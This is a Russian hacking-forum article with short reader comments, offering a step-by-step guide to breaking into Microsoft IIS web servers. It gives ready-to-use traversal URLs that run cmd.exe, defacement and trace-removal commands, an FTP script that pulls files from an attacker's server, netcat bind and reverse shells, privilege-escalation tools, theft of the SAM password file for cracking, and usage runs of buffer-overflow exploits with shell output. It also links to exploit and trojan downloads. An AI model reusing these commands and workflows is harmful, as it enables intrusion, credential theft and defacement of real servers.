ПОЛНОЕ РУКОВОДСТВО ПО ВЗЛОМУ IIS СЕРВЕРА. — HackZona.Ru

ПОЛНОЕ РУКОВОДСТВО ПО ВЗЛОМУ IIS СЕРВЕРА.

ПОЛНОЕ РУКОВОДСТВО ПО ВЗЛОМУ IIS СЕРВЕРА.

Тип статьи:
Со старой ХакЗоны.
[Некоторое время назад мы написали статью о старой уязвимости в IIS серверах. После этого мы получили несколько просьб описать другие баги этого типа серверов. Для полноты картины мы решили написать полное руководство по этому вопросу, для чего пришлось повториться касательно уязвимостей типа «юникод баг» и «двойное декодирование». Оригинал статьи увидел свет в рамках проекта [email protected]]

В этой статье мы попытаемся осветить основные уязвимости дырявых M$ серверов и методы их взлома.
Как и в предыдущей статье постараемся давать поменьше теории.

Собственно, начнем с тех самых уязвимостей, получивших в массах общее название «юникод-баг».

ЧАСТЬ 1. UNICODE BUG

Обход каталогов. Иногда неверно настроенный веб-сервер (например, тот же апач) позволяет выходить за каталог веб-сервера:
www.victim.com/../../
Но не все так просто. В IIS это дело пресекается. Пресекается, но не совсем. Хакер RFP (Rain Forest Puppy) обнаружил, что если символы / и передать в кодировке юникод, то сервер их пропускает, потому что проверка Unicode выполняется после, а не до проверки пути. Как перекодировать? Самый простой пример для наглядности:
= %5с
После того, как эту уязвимость вроде как прикрыли, было обнаружено, что можно еще раз закодировать, и это опять пройдет:
% в кодировке юникод соответствует %25
Теперь %5с можем заменить на %255c. Ну, и таких замен можно делать массу. Поэтому и существует множество разных кодов того, что называют в народе unicod bug (сюда же относят и баг чрезмерного декодирования, который не убирается (!) заплаткой SP2).
А дальше все просто. Через обход каталогов мы выходим на командный интерпретатор cmd.exe и выполняем через него произвольные команды на сервере (например, простейшие команды ДОС: dir листинг директории, type вывод содержимого файла, copy копирование, del — удаление). Например, листинг диска С можно получить запросив подобный URL (будем тренироваться на www.microsoft.net, т.к. microsoft.com, кажется уже давно не на IIS сидит):
www.microsoft.net/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:

Баг есть. Что дальше?
Самое простое, что обычно хотят сделать — дефейс сайта (о более серьезных вещах поговорим далее).
Итак, что нужно для замены главной страницы?
Первое — узнать где расположена папка веб-сервера. Т.е. где лежат документы сайта и наш желанный index.html (.htm, .php, .asp). Кстати, на IIS обычно это не index, а default (расширения см.выше).
При установленном на сервере PHP можно попытаться сделать запрос к несуществующему скрипту (или иногда результат дает обращение к существующему скрипту с некорректными параметрами), в результате чего возможно нам скжут что-то вроде:
Warning: Failed opening 'C:InetPubwwwrootonexist.php' for inclusion (include_path='c:/temp') in Unknown on line 0,

Самый надежный способ при помощи команды set.
www.microsoft.net/scripts/..%255c../winnt/system32/cmd.exe?/c+set+p
В результате вы получите массу всякой информации, среди которой будет строка PATH_TRANSLATED. Вот тут и указывается путь к веб-сайту. Стандартно это выглядит так:
PATH_TRANSLATED=c:inetpubwwwroot
Кстати, если вам скажут, что unicode bug не работает, если веб-сайт расположен не на системном томе (внимание, админ!), то это ерунда. Да, я понимаю, что логика подсказывает: не может быть. Еще раз повторю: ерунда!.. может. Сам видел. Хакер тем и отличается от обычных людей, что мозги у него немного не так устроены: он не верит устойчивым стереотипам =)

Вернемся к дефейсу. У нас есть одна проблема. Наш cmd.exe не может организовать стандартный вывод через симовл >. Решаем эту проблему: копируем командный интерпретатор с другим именем (имя должно отличаться пусть это будет хоть cmd1.exe, хоть root.exe (как это делает Nimda), но только не cmd.exe). Куда
копировать? Можно быть уверенным, что у нас есть доступ к корню C:
Копируем:
www.microsoft.net/scripts/..%255c../winnt/system32/cmd.exe?/c+copy+c:
winntsystem32cmd.exe+c:cmd1.exe
/часто рекомендуют копировать в каталоги, которые имеют права на исполнение, мол уменьшается сразу путь и т.п. Лишняя трата времени. Можно замучаться, перепробуя все каталоги, а потом окажется, что ничего не открыто на запись/
Вот, теперь мы можем создавать файлы, а значит, мы не далеки от цели. Ну что, пробуем, можем ли мы дефейсить? Plain-text пойдет?
Тогда делаем так:
www.microsoft.net/scripts/..%255c../cmd1.exe?/c+echo+hacked by DEFACED aliance+>c:inetpubwwwrootdefault.htm
ну что, смотрим:
www.microsoft.net/
Ничего не получилось? Пробуем, есть ли у нас возможность вообще записывать в wwwroot:
www.microsoft.net/scripts/..%255c../cmd1.exe?/c+wcho+hi+>c:inetpubwwwroot1.txt
Смотрим, появился ли наш файл:
www.microsoft.net/scripts/..%255c../cmd1.exe+dir+c:inetpubwwwroot

Если ничего не получилось или просто мы хотим чего-то больше нежели дефейс (или красивый дефейс).
Вот тут начинается самое интересное.
Нам надо загрузить файлы на сервер. Это можно сделать несколькими путями. Рассмотрим только самые практичные:
1. Если у нас есть взломанный ftp сервер
Впрочем, не обязательно взломанный. Нам просто нужен ftp сервер, на который мы могли бы закачать файлы, а потом с него их скачать. Большинство бесплатных серверов этого делать не позволяют.
Допустим у нас есть логин и пароль к серверу ftp.bolshevik.com: login: partizan & password: beyfashistov. Давайте закачем на него файл нашего дефейса default.htm. Теперь нам нужно его слить на сервер жертвы.
Сделаем на нашем IIS сервере текстовый файл (допустим, temp.txt) такого содержания:
open ftp.bolshevik.com
user partizan
beyfashistov
get default.htm
bye
Этот файл мы скормим программе ftp.exe в качестве параметра для работы. Все это можно сделать в одном урле:

www.microsoft.net/scripts/..%255c../cmd1.exe+echo+open+ftp.bolshevik.com+>c: emp.txt
&&echo;+user+partizan+>>c: emp.txt&&echo;+beyfashistov+>>c: emp.txt&&echo;+get+default.htm+>>
c: emp.txt&&echo;+bye+>>c: emp.txt&&ftp;+-s:c: emp.txt
Небольшие пояснения:
А) мы создаем файл c: emp.txt
Б) запускаем ftp.exe с флагом s, которому передаем как параметр путь к файлу c: emp.txt, из которого фтп должен брать команды для выполнения (можно еще добавить флаги nd).
В принципе, тут бы сперва поэкспериментировать на своей машине, сработают ли корректно команды для фтп: возможно нужно будет добавить pass перед указанием пароля:
pass beyfashistov

Если все сработало, убираем лишние следы:
cmd1.exe?/c+del+c: emp.txt
Потом копируем наш дефейс в папку wwwroot.

2. Если у нас есть расшаренный ресурс
Я имел в виду, что у нас есть найденный в сети чей-то доступный ресурс (c правами на запись).
Допустим для примера, что найден доступный на запись: 194.168.288.34c
Тогда на сервере IIS даем такую команду:
www.microsoft.net/scripts/..%255c../cmd1.exe?/c+net+use+x:+194.168.288.34c
Проверим, виден ли диск: dir+x:
Если все нормально, тогда можем использовать диск Х. Копируем туда, все что нужно
Итак, дефейс сделан. Теперь удалим лишние следы.
Отсоединяем диски:
www.microsoft.net/scripts/..%255c../cmd1.exe?/c+net+use+*+/delete+/yes

3. За нас уже все сделали.
Есть довольно интересные perl сценарии, которые облегчают основную часть работы. Качаем:
packetstormsecurity.nl/0101-exploits/unitools.tgz
Нам нужно знать только сам баг и директорию, доступную на запись и выполнение (можно поэкспериментировать с этими:
msadc
scripts
_vti_bin
_vti_cnf
samples
cgi-bin
iisadmpwd
adsamples)

Итак, у нас четыре скрипта:
unicodeloader.pl
upload.asp
upload.inc
unicodexecute3.pl
Первые три должны быть в одной директории. Чуток подправим unicodeloader.pl (добавим наш код бага, если его там нет) и запускаем его (как параметр нужно указать директорию, доступную на запись):
perl unicodeloader.pl www.microsoft.net:80 c:inetpubwwwroot
И смотрим, что нам напишут =). Если все в порядке, то скрипт распишет как он пытается использовать уязвимость, а в конце:

Upload page created.

Files will be uploaded to c:inetpubwwwroot

Теперь пробуем открыть созданную страницу:
www.microsoft.net/upload.asp
Вот, мы можем свободно загружать на сервер любые файлы через веб-интерфейс.
Что первым делом загрузить? Без раздумий можно сказать: утилиту net cat (nc.exe).
После этого мы используем другой скрипт из комплекта:
perl unicodexecute3.pl www.microsoft.net:80 c:inetpubwwwrootc -l -p 80 -e cmd.exe

Теперь у нас есть нормальный shell. Просто телнетимся на 80-й порт жертвы.
Этот метод очень удобен еще и тогда, когда firewall ограничивает доступ (ни каких ftp, tftp или RCP).

На всякий случай распишим как можно было еще установить обратную связь с помощью netcat. Допустим, мы хотим установить связь по порту 31337. Запускаем на своем компе nc (да, в этом случае с анонимностью будут проблемы =)):
C:>nc l p 31337
Затем на сервере устанавливаем связь с нашей машиной (даем только командную строку, как это все запустить на сервере понятно из предыдущего примера):
C:inetpubwwwrootc.exe v e cmd.exe наш_IP 31337
Все. У нас опять нормальный шелл...

4. Дефейс не получается. Что делать?
Итак, у нас есть shell. Но мы не можем дефейснуть сайт, потому что админ ограничил наши права.
Что же нам остается сделать, как не самим стать админом?!

РАСШИРЕНИЕ ПРИВЕЛЕГИЙ
Мы работаем в контексте гостевой учетной записи (IUSR_имя_машины или IWAM_имя машины). Для IIS 4 есть утилита hk.exe, которая использует LPC (Local Procedure Call), которая в свою очередь работает в контексте системной учетной записи. С ее помощью можно выполнять любые команды, в т.ч. и добавить себя в группу администраторов (я уже не говорю о дефейсе):
hk.exe net localgroup administrators IUSR_имя_машины /add
(возможно и так: hk.exe net localgroup administrators /add IUSR_имя_машины)
Качаем ее отсюда: packetstormsecurity.nl/0101-exploits/hk-0.1.zip

Для IIS 5 эта штука не годится. Для win2k нужно брать iis5crack.dll, которая использует функцию RevertToSelf (эта функция может приводить к выполнению команд в контексте системной учетной записи, запрашивая текущий поток перейти из IUSR в SYSTEM). Достаточно ее загрузить на сервер с именем одной из dll'ок, которым разрешена эта функция:
idq.dll
httpext.dll
httpodbc.dll
ssinc.dll
msw3prt.dll
author.dll
admin.dll
shtml.dll
Затем запускаем ее в окне броузера и можем опять-таки выполнять команды с правами system
Найти исходники и готовую dll можно здесь: www.digitaloffense.net/iiscrack/

Есть еще одна очень интересная программка, которая использует те же dll. Это
iscp. Что бы получить административный доступ к серверу с ее помощью, нужно скопировать, скажем idq.dll, в каталог, например scripts. После этого:
C:>iscp www.microsoft.net/scripts/ idq.dll 80
Далее нужно будет пару раз нажать ENTER, когда нас попросят. Вот мы и стали админом =)

В принципе, мы забыли сказать еще об одном стандартном приеме получения привелегий. Скорее всего, это первое, что нужно было
бы проверить на дырявом сервере. Файл паролей НТ — sam. Иногда его можно скопировать в веб папку и потом скачать. Вернее, скопировать можно не его самого, а системный бекап, хранящийся в папке winnt/repair. Для НТ 4 это sam._, а для win2k просто sam. Пробуем скопировать:
www.microsoft.net/scripts/..%255c../cmd1.exe?/c+copy+c:winntepairsam+c:winntwwwroot
Затем просто скачиваем его:
www.microsoft.net/sam
и расшифровываем при помощи LC (L0phtCrack).

ЧАСТЬ 2. ПАРА СТАРЫХ УЯЗВИМОСТЕЙ.

Одна из нашумевших в свое время уязвимостей — IDQ .Printer Overflow, использовавшаяся червем codered. Суть найденной eEye Digital Security уязвимости заключается в переполнении буфера в фильтре ISAPI при передаче в HTTP запросе к файлу с расширением .printer более 420 символов в поле HOST. Самое интересное, что необязательно делать запрос к реальносуществующему файлу. В протоколе интернет печати (IPP), отвечающая за это dll, вызывает до проверки существования файла.

GET /NULL.printer HTTP/1.0
HOST: [420 символов]
Такой запрос при нормальных условиях подвесит IIS, но win2k автоматом ее перезапускает, т.ч. для пользователя визуально ничего не будет заметно (если только хакер не добивается отказа в обслуживании).
Эксплоит, написанный eEye компилится с ошибками (вот скомпиленный: packetstormsecurity.nl/9906-exploits/iishack.exe). Первый реальный эксплоит под nix назывался jill, который используя переполнение буфера в IPP, создает обратный шелл на адрес хакера в контексе записи SYSTEM.
Работает это все так:
nc -vv -l -p 31337
listening on [any] 31337 ...
Теперь запускаем jill:
jill IP_адрес_жертвы 80 наш_IP 31337
iis5 spyrit / beavuh labs.

Connecting...
Sent...
Если все прошло нормально, получаем у себя в окне nc:

listening on [any] 31337
connect to [наш_IP] from MICROSOFTIISHACKED [IP_адрес_жертвы] 1117
[жмем ENTER]

Microsoft Windows 2000 [Version 5.0.0.2195]
c Copyright 1985-1999 Microsoft Corp.
C:>

Иногда прийдется лишний раз нажимать ENTER — это нормально.
Под win32 этот эксплоит был портирован с именем juill-win32. Позже в сети появилась модифицированная версия iis5hack и iishack2000 (под win32):

packetstormsecurity.nl/0105-exploits/iishack2000.c.

Серия уязвимостей в ISAPI DLL, раскрывающих исходный код.
Классическая уязвимость +.htr, работающая как на IIS 4, так и на IIS 5. Добавление +.htr к файлу показывает его исходный код, даже если файл исполняемый (скрипт .asp, .php И т.п.). Например, можно вызвать файл global.asa, который никогда не передается клиенту:
GET /site1/global.asa+.htr HTTP/1.0
[CRLF]
[CRLF]
Через netcat, подключенную к уязвимому серверу, результат будет такой:
C:> nc -vv www.victim.com 80 www.victim.com [10.15.1.10] 80 (http) open
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 25 Jan 2001 00:50:17 GMT
(«Profiles_ConnectString») = «DSN=profiles;UID=Company_user;Password=secret»
(«DB_ConnectString») = «DSN=db;UID=Company_user;Password=secret»
(«PHFConnectionString») = «DSN=phf;UID=sa;PWD=»
(«SiteSearchConnectionString») = «DSN=SiteSearch;UID=Company_user;PWD=simple»
(«ConnectionString») = «DSN=Company;UID=Company_user;PWD=guessme»
(«eMail_pwd») = «sendaemon»
(«LDAPServer») = «LDAP://directory.company.com:389»
(«LDAPUserID») = «cn=Directory Admin»
(«LDAPPwd») = «slapdme»

Как видите, из этого файла можно многое почерпнуть =)

HTR Chunked Encoding Buffer overflow
Не очень старая уязвимость. Эксплоит называется HTR_Exploit.pl (или iischeck.pl). Работает даже под IIS 5.1 (Win XP Pro). Пока это только доказательство концепции.

:: БЕГЛЫЕ ЗАМЕЧАНИЯ ::
Мы не касаемся некоторых уязвимостей как .ida, .idq, .htw и проч.
Вот пара эксплоитов для полноты картины:
packetstorm.linuxsecurity.com/0001-exploits/iiscat.c
www.digitaloffense.net/ida_overflow.pl

Если передать shtml.exe в качестве параметра несуществующее имя файла, узнаем путь к wwwroot:
207.69.190.42/_vti_bin/shtml.exe/postinfo1.html
Cannot open «d:inetpubwwwrootpostinfo1.html»: no such
file or folder.

В IIS 4 при подстановке ::$DATA после имени .asp файла получим его исходный код.

Можно зааплодить троян на IIS 4 без SP6:
packetstorm.linuxsecurity.com/trojans/Hackyou.tgz

ЧАСТЬ 3. УЯЗВИМОСТЬ IIS WebDAV NTDLL.DLL

И вот, новые уязвимости прогремели с шумом по сети.
переполнение буфера в протоколе webdav под IIS позволяет выполнять произвольный код в контексте учетной записи SYSTEM.
Утилита для проверки сервера на эту уязвимость:
packetstormsecurity.nl/NT/audit/PTwebdav.zip

Первый эксплоит сделал kralor [Crpt]. Он открывает обратную связь, используя netcat.
www.gipshack.ru/expl/wbr.c
Сперва запускаем nc:
nc -L -vv -p 31337
Затем запускаем эксплоит:
wbr адрес_жертвы наш_ip 31337 0

После этого появился более продвинутый эксплоит от www.rs-labs.com:
www.rs-labs.com/exploitsntools/rs_iis.c
Работает так:

$ gcc -o rs_iis rs_iis.c
$ ./rs_iis microsoft.net
[*] Resolving hostname ...
[*] Attacking port 80 at roman (EIP = 0x00480004)...
[*] Now open another console/shell and try to connect
(telnet) to victim port 31337...


$ telnet roman 31337
Trying 192.255.255.1 ...
Connected to microsoft.net.
Escape character is '^]'.
Microsoft Windows 2000 [Version 5.00.2195]
© Copyright 1985-2000 Microsoft Corp.

C:WINNTsystem32>

Авторы xSpider сканера сделали эксплоит с графическим интерфейсом под win32:
www.ptsecurity.ru/tools/PTwebdav.zip

И, кажется, самый свежий на момент написания статьи — от Xnuxer Lab.
Сплоит примечателен тем, что не требует дополнительных средств типа netcat.
Код см.здесь: gipshack.ru/expl/webdav3.html

ДРУГИЕ ЭКСПЛОИТЫ:
www.digitaloffense.net/webdav_ex.pl
Использование:
webdav_ex.pl -h -p -H -P -R

gipshack.ru/expl/iiswebdav.txt
Эксплоит от Alumni. Биндит шелл на порту 32768.

Под линукс:
packetstormsecurity.nl/0306-exploits/linux-wb.c

Все основные эксплоиты можно найти здесь:
gipshack.ru/search/?query=webdav


Ну вот и все, что мы хотели сказать относительно взлома IIS веб сервера.
P.S. нашумевшей уязвимости dcom rpc мы не рассматривали, потому что это уязвимость не веб сервера, а ОС win NT. Но это уже совсем другая история ;-)
Нравится
Не нравится

6 комментариев

11:48
Leon zaglani v lichku
17:01
хмм... и часто ли у автора встречаются сайты с уязвимостями, которые были обнаружены года три назад? В африканских деревнях?
00:17
что-то подобное я видел в deface-zine.
17:16
Этот баг давно прикрыли подушкой:)
08:37
А более новые дыро почему не описал???
04:12
Старьё...